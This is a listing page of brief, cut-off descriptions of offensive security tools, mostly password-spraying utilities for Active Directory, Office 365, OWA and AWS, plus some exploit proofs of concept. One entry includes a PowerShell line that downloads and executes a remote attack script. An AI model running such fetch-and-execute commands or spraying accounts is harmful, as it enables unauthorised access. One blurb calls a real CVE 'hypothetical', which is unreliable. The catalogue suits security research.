Tritium

Tritium Una herramienta para enumerar y realizar spraying de cuentas válidas de Active Directory mediante la Pre-Autenticación de Kerberos. Antecedentes Aunque actualmente existen muchas herramientas de spraying de contraseñas Kerberos en el mercado, me resultaba difícil encontrar herramientas co...

CVE-2010-2883

CVE-2010-2883 PoC para CVE-2010-2883 utilizando investigación TTD, técnicas de Metasploit, BOF+ROP y HEAP spraying solo con fines educativos...

spraycharles

Spraycharles hey, yo I'm feeling like spraycharles - Chiddy Bang Low and slow password spraying tool, designed to spray on an interval over a long period of time. Includes spraying plugins for Office365, OWA, EWS, Okta, ADFS, Cisco SSL VPN, Citrix Netscaler, Sonciwall, NTLM over HTTP, and SMB...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 es un ejemplo hipotético, pero supongamos que se trata de una vulnerabilidad real en la implementación del servidor OpenSSH. Esta vulnerabilidad podría implicar un desbordamiento de búfer o un problema de corrupción de memoria que permite a atacantes remotos ejecutar...

vortex

🚩 Este es el repositorio público de vortex, para la última versión y actualizaciones, considera apoyarnos a través de https://porchetta.industries/ Vortex Kit de herramientas de reconocimiento, prueba, enumeración y explotación de VPN en general 🚩 Patrocinadores Si quieres patrocinar este proyect...

SharpSpray

SharpSpray SharpSpray es una herramienta de pulverización de contraseñas para dominios Windows escrita en .NET C. Introducción SharpSpray es un puerto en C de DomainPasswordSpray con funcionalidades mejoradas y adicionales. Esta herramienta utiliza el protocolo LDAP para comunicarse con los...

TeamFiltration

TeamFiltration TeamFiltration es un framework multiplataforma para enumerar, hacer spraying, exfiltrar y hacer backdoor a cuentas O365 EntraID. Visite la página wiki de TeamFiltration para una introducción sobre cómo funciona TeamFiltration y la Guía de inicio rápido para ponerse en marcha. Esta...

OWA-Password-Sprayer

OWA-Password-Sprayer Sprayer de contraseñas OWA Este script de Python facilita el rociado de contraseñas password spraying contra endpoints de Outlook Web Access OWA. El rociado de contraseñas es una técnica utilizada para probar una única contraseña contra múltiples usuarios, con el objetivo de...

RDWAtool

Una herramienta todo-en-uno en Python para extraer información, realizar spraying y fuerza bruta de contraseñas en una aplicación Microsoft Remote Desktop Web Access RDWA. Esta herramienta Python permite extraer diversa información de una aplicación Microsoft Remote Desktop Web Access RDWA, como ...

SprayingToolkit

Deprecation Notice This project is no longer maintained. The following alternative projects are better and actively maintained: TREVORspray CredMaster SprayingToolkit Description A set of Python scripts/utilities that tries to make password spraying attacks against Lync/S4B & OWA a lot quicker,...

SharpSpray

SharpSpray This project is a C port of my PowerSpray.ps1 script. SharpSpray a simple code set to perform a password spraying attack against all users of a domain using LDAP and is compatible with Cobalt Strike. https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1 By default it wi...

spraykatz

Spraykatz Esparce amor por el mundo Índice Título| Descripción ---|--- Acerca de| Breve descripción sobre la herramienta Instalación| Instalación y requisitos Uso| Cómo usar Spraykatz Registro de cambios| Historial de cambios de Spraykatz Agradecimientos| Agradecimientos Acerca de Spraykatz es un...

GoAWSConsoleSpray

GoAWSConsoleSpray GoAWSConsoleSpray es una herramienta que se puede utilizar para realizar un ataque de spraying de credenciales de consola de AWS IAM con el fin de identificar un inicio de sesión válido para una cuenta de usuario. La CLI de AWS no dispone de un mecanismo para autenticarse median...

ActiveReign

ActiveReign ⚠️ Gracias por su apoyo. Este proyecto ya no se mantiene públicamente. Antecedentes Hace un tiempo me retaron a escribir una herramienta de descubrimiento con Python3 que pudiera automatizar el proceso de encontrar información sensible en recursos compartidos de archivos de red. Despué...

TREVORspray

TREVORspray 2.0 TREVORspray es un rociador de contraseñas modular con hilos, proxy SSH, módulos de botín y más. Por @thetechr0mancer Instalación: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray Vea el Blog Pos...

ASLRay

ASLRay Exploit de bypass de ASLR DEP/NX en Linux ELF x32/x64 con stack-spraying Propiedades: Bypass de ASLR Bypass de DEP/NX Multiplataforma Minimalista Simplicidad No parcheable Dependencias: Linux 2.6.12+ - funcionaría en cualquier SO basado en Linux x86-64 BASH - todo el script Limitaciones: L...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

o365spray

o365spray o365spray es una herramienta de enumeración de nombres de usuario y rociado de contraseñas dirigida a Microsoft Office 365 O365. Esta herramienta reimplementa una colección de técnicas de enumeración y rociado investigadas e identificadas por aquellos mencionados en Agradecimientos. Sol...

Oh365UserFinder

Oh365 User Finder v1.1.2 Oh365UserFinder se utiliza para identificar cuentas y dominios válidos de O365 sin el riesgo de bloqueo de cuentas. La herramienta analiza las respuestas para determinar si la bandera "IfExistsResult" es nula o no, y responde adecuadamente si el usuario es válido. La...

CVE-2022-28672

CVE-2022-28672 Discord Server Este error fue un Use after Free causado por un manejo inadecuado de las referencias de memoria de objetos de JavaScript. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...